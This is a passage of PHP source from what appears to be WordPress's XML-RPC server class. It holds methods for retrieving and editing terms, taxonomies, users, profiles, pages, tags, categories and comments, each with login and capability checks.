	 * @return array|IXR_Error An associative array of terms data on success, IXR_Error instance otherwise.
	 */
	public function wp_getTerms( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$taxonomy = $args[3];
		$filter   = isset( $args[4] ) ? $args[4] : array();

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getTerms', $args, $this );

		if ( ! taxonomy_exists( $taxonomy ) ) {
			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
		}

		$taxonomy = get_taxonomy( $taxonomy );

		if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) );
		}

		$query = array( 'taxonomy' => $taxonomy->name );

		if ( isset( $filter['number'] ) ) {
			$query['number'] = absint( $filter['number'] );
		}

		if ( isset( $filter['offset'] ) ) {
			$query['offset'] = absint( $filter['offset'] );
		}

		if ( isset( $filter['orderby'] ) ) {
			$query['orderby'] = $filter['orderby'];

			if ( isset( $filter['order'] ) ) {
				$query['order'] = $filter['order'];
			}
		}

		if ( isset( $filter['hide_empty'] ) ) {
			$query['hide_empty'] = $filter['hide_empty'];
		} else {
			$query['get'] = 'all';
		}

		if ( isset( $filter['search'] ) ) {
			$query['search'] = $filter['search'];
		}

		$terms = get_terms( $query );

		if ( is_wp_error( $terms ) ) {
			return new IXR_Error( 500, $terms->get_error_message() );
		}

		$struct = array();

		foreach ( $terms as $term ) {
			$struct[] = $this->_prepare_term( $term );
		}

		return $struct;
	}

	/**
	 * Retrieves a taxonomy.
	 *
	 * @since 3.4.0
	 *
	 * @see get_taxonomy()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type string $3 Taxonomy name.
	 *     @type array  $4 Optional. Array of taxonomy fields to limit to in the return.
	 *                     Accepts 'labels', 'cap', 'menu', and 'object_type'.
	 *                     Default empty array.
	 * }
	 * @return array|IXR_Error An array of taxonomy data on success, IXR_Error instance otherwise.
	 */
	public function wp_getTaxonomy( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$taxonomy = $args[3];

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/**
			 * Filters the default taxonomy query fields used by the given XML-RPC method.
			 *
			 * @since 3.4.0
			 *
			 * @param array  $fields An array of taxonomy fields to retrieve. By default,
			 *                       contains 'labels', 'cap', and 'object_type'.
			 * @param string $method The method name.
			 */
			$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomy' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getTaxonomy', $args, $this );

		if ( ! taxonomy_exists( $taxonomy ) ) {
			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
		}

		$taxonomy = get_taxonomy( $taxonomy );

		if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) );
		}

		return $this->_prepare_taxonomy( $taxonomy, $fields );
	}

	/**
	 * Retrieves all taxonomies.
	 *
	 * @since 3.4.0
	 *
	 * @see get_taxonomies()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. An array of arguments for retrieving taxonomies.
	 *     @type array  $4 Optional. The subset of taxonomy fields to return.
	 * }
	 * @return array|IXR_Error An associative array of taxonomy data with returned fields determined
	 *                         by `$fields`, or an IXR_Error instance on failure.
	 */
	public function wp_getTaxonomies( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$filter   = isset( $args[3] ) ? $args[3] : array( 'public' => true );

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
			$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomies' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getTaxonomies', $args, $this );

		$taxonomies = get_taxonomies( $filter, 'objects' );

		// Holds all the taxonomy data.
		$struct = array();

		foreach ( $taxonomies as $taxonomy ) {
			// Capability check for post types.
			if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) {
				continue;
			}

			$struct[] = $this->_prepare_taxonomy( $taxonomy, $fields );
		}

		return $struct;
	}

	/**
	 * Retrieves a user.
	 *
	 * The optional $fields parameter specifies what fields will be included
	 * in the response array. This should be a list of field names. 'user_id' will
	 * always be included in the response regardless of the value of $fields.
	 *
	 * Instead of, or in addition to, individual field names, conceptual group
	 * names can be used to specify multiple fields. The available conceptual
	 * groups are 'basic' and 'all'.
	 *
	 * @uses get_userdata()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 User ID.
	 *     @type array  $4 Optional. Array of fields to return.
	 * }
	 * @return array|IXR_Error Array contains (based on $fields parameter):
	 *  - 'user_id'
	 *  - 'username'
	 *  - 'first_name'
	 *  - 'last_name'
	 *  - 'registered'
	 *  - 'bio'
	 *  - 'email'
	 *  - 'nickname'
	 *  - 'nicename'
	 *  - 'url'
	 *  - 'display_name'
	 *  - 'roles'
	 */
	public function wp_getUser( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$user_id  = (int) $args[3];

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/**
			 * Filters the default user query fields used by the given XML-RPC method.
			 *
			 * @since 3.5.0
			 *
			 * @param array  $fields An array of user fields to retrieve. By default, contains 'all'.
			 * @param string $method The method name.
			 */
			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUser' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getUser', $args, $this );

		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this user.' ) );
		}

		$user_data = get_userdata( $user_id );

		if ( ! $user_data ) {
			return new IXR_Error( 404, __( 'Invalid user ID.' ) );
		}

		return $this->_prepare_user( $user_data, $fields );
	}

	/**
	 * Retrieves users.
	 *
	 * The optional $filter parameter modifies the query used to retrieve users.
	 * Accepted keys are 'number' (default: 50), 'offset' (default: 0), 'role',
	 * 'who', 'orderby', and 'order'.
	 *
	 * The optional $fields parameter specifies what fields will be included
	 * in the response array.
	 *
	 * @uses get_users()
	 * @see wp_getUser() for more on $fields and return values
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. Arguments for the user query.
	 *     @type array  $4 Optional. Fields to return.
	 * }
	 * @return array|IXR_Error users data
	 */
	public function wp_getUsers( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$filter   = isset( $args[3] ) ? $args[3] : array();

		if ( isset( $args[4] ) ) {
			$fields = $args[4];
		} else {
			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUsers' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getUsers', $args, $this );

		if ( ! current_user_can( 'list_users' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to list users.' ) );
		}

		$query = array( 'fields' => 'all_with_meta' );

		$query['number'] = ( isset( $filter['number'] ) ) ? absint( $filter['number'] ) : 50;
		$query['offset'] = ( isset( $filter['offset'] ) ) ? absint( $filter['offset'] ) : 0;

		if ( isset( $filter['orderby'] ) ) {
			$query['orderby'] = $filter['orderby'];

			if ( isset( $filter['order'] ) ) {
				$query['order'] = $filter['order'];
			}
		}

		if ( isset( $filter['role'] ) ) {
			if ( get_role( $filter['role'] ) === null ) {
				return new IXR_Error( 403, __( 'Invalid role.' ) );
			}

			$query['role'] = $filter['role'];
		}

		if ( isset( $filter['who'] ) ) {
			$query['who'] = $filter['who'];
		}

		$users = get_users( $query );

		$_users = array();
		foreach ( $users as $user_data ) {
			if ( current_user_can( 'edit_user', $user_data->ID ) ) {
				$_users[] = $this->_prepare_user( $user_data, $fields );
			}
		}
		return $_users;
	}

	/**
	 * Retrieves information about the requesting user.
	 *
	 * @uses get_userdata()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username
	 *     @type string $2 Password
	 *     @type array  $3 Optional. Fields to return.
	 * }
	 * @return array|IXR_Error (@see wp_getUser)
	 */
	public function wp_getProfile( $args ) {
		if ( ! $this->minimum_args( $args, 3 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		if ( isset( $args[3] ) ) {
			$fields = $args[3];
		} else {
			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getProfile' );
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getProfile', $args, $this );

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) );
		}

		$user_data = get_userdata( $user->ID );

		return $this->_prepare_user( $user_data, $fields );
	}

	/**
	 * Edits user's profile.
	 *
	 * @uses wp_update_user()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Content struct. It can optionally contain:
	 *      - 'first_name'
	 *      - 'last_name'
	 *      - 'website'
	 *      - 'display_name'
	 *      - 'nickname'
	 *      - 'nicename'
	 *      - 'bio'
	 * }
	 * @return true|IXR_Error True, on success.
	 */
	public function wp_editProfile( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$content_struct = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.editProfile', $args, $this );

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) );
		}

		// Holds data of the user.
		$user_data       = array();
		$user_data['ID'] = $user->ID;

		// Only set the user details if they were given.
		if ( isset( $content_struct['first_name'] ) ) {
			$user_data['first_name'] = $content_struct['first_name'];
		}

		if ( isset( $content_struct['last_name'] ) ) {
			$user_data['last_name'] = $content_struct['last_name'];
		}

		if ( isset( $content_struct['url'] ) ) {
			$user_data['user_url'] = $content_struct['url'];
		}

		if ( isset( $content_struct['display_name'] ) ) {
			$user_data['display_name'] = $content_struct['display_name'];
		}

		if ( isset( $content_struct['nickname'] ) ) {
			$user_data['nickname'] = $content_struct['nickname'];
		}

		if ( isset( $content_struct['nicename'] ) ) {
			$user_data['user_nicename'] = $content_struct['nicename'];
		}

		if ( isset( $content_struct['bio'] ) ) {
			$user_data['description'] = $content_struct['bio'];
		}

		$result = wp_update_user( $user_data );

		if ( is_wp_error( $result ) ) {
			return new IXR_Error( 500, $result->get_error_message() );
		}

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, the user could not be updated.' ) );
		}

		return true;
	}

	/**
	 * Retrieves a page.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type int    $1 Page ID.
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPage( $args ) {
		$this->escape( $args );

		$page_id  = (int) $args[1];
		$username = $args[2];
		$password = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		$page = get_post( $page_id );
		if ( ! $page ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_page', $page_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPage', $args, $this );

		// If we found the page then format the data.
		if ( $page->ID && ( 'page' === $page->post_type ) ) {
			return $this->_prepare_page( $page );
		} else {
			// If the page doesn't exist, indicate that.
			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
		}
	}

	/**
	 * Retrieves Pages.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Optional. Number of pages. Default 10.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPages( $args ) {
		$this->escape( $args );

		$username  = $args[1];
		$password  = $args[2];
		$num_pages = isset( $args[3] ) ? (int) $args[3] : 10;

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_pages' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPages', $args, $this );

		$pages     = get_posts(
			array(
				'post_type'   => 'page',
				'post_status' => 'any',
				'numberposts' => $num_pages,
			)
		);
		$num_pages = count( $pages );

		// If we have pages, put together their info.
		if ( $num_pages >= 1 ) {
			$pages_struct = array();

			foreach ( $pages as $page ) {
				if ( current_user_can( 'edit_page', $page->ID ) ) {
					$pages_struct[] = $this->_prepare_page( $page );
				}
			}

			return $pages_struct;
		}

		return array();
	}

	/**
	 * Creates a new page.
	 *
	 * @since 2.2.0
	 *
	 * @see wp_xmlrpc_server::mw_newPost()
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Content struct.
	 * }
	 * @return int|IXR_Error
	 */
	public function wp_newPage( $args ) {
		// Items not escaped here will be escaped in wp_newPost().
		$username = $this->escape( $args[1] );
		$password = $this->escape( $args[2] );

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.newPage', $args, $this );

		// Mark this as content for a page.
		$args[3]['post_type'] = 'page';

		// Let mw_newPost() do all of the heavy lifting.
		return $this->mw_newPost( $args );
	}

	/**
	 * Deletes a page.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Page ID.
	 * }
	 * @return true|IXR_Error True, if success.
	 */
	public function wp_deletePage( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$page_id  = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.deletePage', $args, $this );

		/*
		 * Get the current page based on the 'page_id' and
		 * make sure it is a page and not a post.
		 */
		$actual_page = get_post( $page_id, ARRAY_A );
		if ( ! $actual_page || ( 'page' !== $actual_page['post_type'] ) ) {
			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
		}

		// Make sure the user can delete pages.
		if ( ! current_user_can( 'delete_page', $page_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this page.' ) );
		}

		// Attempt to delete the page.
		$result = wp_delete_post( $page_id );
		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Failed to delete the page.' ) );
		}

		/**
		 * Fires after a page has been successfully deleted via XML-RPC.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $page_id ID of the deleted page.
		 * @param array $args    An array of arguments to delete the page.
		 */
		do_action( 'xmlrpc_call_success_wp_deletePage', $page_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return true;
	}

	/**
	 * Edits a page.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type int    $1 Page ID.
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 *     @type string $4 Content.
	 *     @type int    $5 Publish flag. 0 for draft, 1 for publish.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_editPage( $args ) {
		// Items will be escaped in mw_editPost().
		$page_id  = (int) $args[1];
		$username = $args[2];
		$password = $args[3];
		$content  = $args[4];
		$publish  = $args[5];

		$escaped_username = $this->escape( $username );
		$escaped_password = $this->escape( $password );

		$user = $this->login( $escaped_username, $escaped_password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.editPage', $args, $this );

		// Get the page data and make sure it is a page.
		$actual_page = get_post( $page_id, ARRAY_A );
		if ( ! $actual_page || ( 'page' !== $actual_page['post_type'] ) ) {
			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
		}

		// Make sure the user is allowed to edit pages.
		if ( ! current_user_can( 'edit_page', $page_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) );
		}

		// Mark this as content for a page.
		$content['post_type'] = 'page';

		// Arrange args in the way mw_editPost() understands.
		$args = array(
			$page_id,
			$username,
			$password,
			$content,
			$publish,
		);

		// Let mw_editPost() do all of the heavy lifting.
		return $this->mw_editPost( $args );
	}

	/**
	 * Retrieves page list.
	 *
	 * @since 2.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getPageList( $args ) {
		global $wpdb;

		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_pages' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getPageList', $args, $this );

		// Get list of page IDs and titles.
		$page_list = $wpdb->get_results(
			"
			SELECT ID page_id,
				post_title page_title,
				post_parent page_parent_id,
				post_date_gmt,
				post_date,
				post_status
			FROM {$wpdb->posts}
			WHERE post_type = 'page'
			ORDER BY ID
		"
		);

		// The date needs to be formatted properly.
		$num_pages = count( $page_list );
		for ( $i = 0; $i < $num_pages; $i++ ) {
			$page_list[ $i ]->dateCreated      = $this->_convert_date( $page_list[ $i ]->post_date );
			$page_list[ $i ]->date_created_gmt = $this->_convert_date_gmt( $page_list[ $i ]->post_date_gmt, $page_list[ $i ]->post_date );

			unset( $page_list[ $i ]->post_date_gmt );
			unset( $page_list[ $i ]->post_date );
			unset( $page_list[ $i ]->post_status );
		}

		return $page_list;
	}

	/**
	 * Retrieves authors list.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getAuthors( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getAuthors', $args, $this );

		$authors = array();
		foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'display_name' ) ) ) as $user ) {
			$authors[] = array(
				'user_id'      => $user->ID,
				'user_login'   => $user->user_login,
				'display_name' => $user->display_name,
			);
		}

		return $authors;
	}

	/**
	 * Gets the list of all tags.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getTags( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view tags.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getKeywords', $args, $this );

		$tags = array();

		$all_tags = get_tags();
		if ( $all_tags ) {
			foreach ( (array) $all_tags as $tag ) {
				$struct             = array();
				$struct['tag_id']   = $tag->term_id;
				$struct['name']     = $tag->name;
				$struct['count']    = $tag->count;
				$struct['slug']     = $tag->slug;
				$struct['html_url'] = esc_html( get_tag_link( $tag->term_id ) );
				$struct['rss_url']  = esc_html( get_tag_feed_link( $tag->term_id ) );

				$tags[] = $struct;
			}
		}

		return $tags;
	}

	/**
	 * Creates a new category.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Category.
	 * }
	 * @return int|IXR_Error Category ID.
	 */
	public function wp_newCategory( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$category = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.newCategory', $args, $this );

		// Make sure the user is allowed to add a category.
		if ( ! current_user_can( 'manage_categories' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a category.' ) );
		}

		/*
		 * If no slug was provided, make it empty
		 * so that WordPress will generate one.
		 */
		if ( empty( $category['slug'] ) ) {
			$category['slug'] = '';
		}

		/*
		 * If no parent_id was provided, make it empty
		 * so that it will be a top-level page (no parent).
		 */
		if ( ! isset( $category['parent_id'] ) ) {
			$category['parent_id'] = '';
		}

		// If no description was provided, make it empty.
		if ( empty( $category['description'] ) ) {
			$category['description'] = '';
		}

		$new_category = array(
			'cat_name'             => $category['name'],
			'category_nicename'    => $category['slug'],
			'category_parent'      => $category['parent_id'],
			'category_description' => $category['description'],
		);

		$cat_id = wp_insert_category( $new_category, true );
		if ( is_wp_error( $cat_id ) ) {
			if ( 'term_exists' === $cat_id->get_error_code() ) {
				return (int) $cat_id->get_error_data();
			} else {
				return new IXR_Error( 500, __( 'Sorry, the category could not be created.' ) );
			}
		} elseif ( ! $cat_id ) {
			return new IXR_Error( 500, __( 'Sorry, the category could not be created.' ) );
		}

		/**
		 * Fires after a new category has been successfully created via XML-RPC.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $cat_id ID of the new category.
		 * @param array $args   An array of new category arguments.
		 */
		do_action( 'xmlrpc_call_success_wp_newCategory', $cat_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return $cat_id;
	}

	/**
	 * Deletes a category.
	 *
	 * @since 2.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Category ID.
	 * }
	 * @return bool|IXR_Error See wp_delete_term() for return info.
	 */
	public function wp_deleteCategory( $args ) {
		$this->escape( $args );

		$username    = $args[1];
		$password    = $args[2];
		$category_id = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.deleteCategory', $args, $this );

		if ( ! current_user_can( 'delete_term', $category_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this category.' ) );
		}

		$status = wp_delete_term( $category_id, 'category' );

		if ( true == $status ) {
			/**
			 * Fires after a category has been successfully deleted via XML-RPC.
			 *
			 * @since 3.4.0
			 *
			 * @param int   $category_id ID of the deleted category.
			 * @param array $args        An array of arguments to delete the category.
			 */
			do_action( 'xmlrpc_call_success_wp_deleteCategory', $category_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
		}

		return $status;
	}

	/**
	 * Retrieves category list.
	 *
	 * @since 2.2.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Category
	 *     @type int    $4 Max number of results.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_suggestCategories( $args ) {
		$this->escape( $args );

		$username    = $args[1];
		$password    = $args[2];
		$category    = $args[3];
		$max_results = (int) $args[4];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.suggestCategories', $args, $this );

		$category_suggestions = array();
		$args                 = array(
			'get'        => 'all',
			'number'     => $max_results,
			'name__like' => $category,
		);
		foreach ( (array) get_categories( $args ) as $cat ) {
			$category_suggestions[] = array(
				'category_id'   => $cat->term_id,
				'category_name' => $cat->name,
			);
		}

		return $category_suggestions;
	}

	/**
	 * Retrieves a comment.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type int    $3 Comment ID.
	 * }
	 * @return array|IXR_Error
	 */
	public function wp_getComment( $args ) {
		$this->escape( $args );

		$username   = $args[1];
		$password   = $args[2];
		$comment_id = (int) $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'wp.getComment', $args, $this );

		$comment = get_comment( $comment_id );
		if ( ! $comment ) {
			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
		}

		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
			return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) );
		}

		return $this->_prepare_comment( $comment );
	}

	/**
	 * Retrieves comments.
	 *
	 * Besides the common blog_id (unused), username, and password arguments,
	 * it takes a filter array as the last argument.
	 *
	 * Accepted 'filter' keys are 'status', 'post_id', 'offset', and 'number'.
	 *
	 * The defaults are as follows:
	 * - 'status'  - Default is ''. Filter by status (e.g., 'approve', 'hold')
	 * - 'post_id' - Default is ''. The post where the comment is posted.
	 *               Empty string shows all comments.
	 * - 'number'  - Default is 10. Total number of media items to retrieve.
	 * - 'offset'  - Default is 0. See WP_Query::query() for more.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Optional. Query arguments.
	 * }
	 * @return array|IXR_Error Array containing a collection of comments.
	 *                         See wp_xmlrpc_server::wp_getComment() for a description
	 *                         of each item contents.
	 */
	public function wp_getComments( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];
		$struct   = isset( $args[3] ) ? $args[3] : array();

		$user = $this->login( $username, $password );
		if ( ! $user ) {
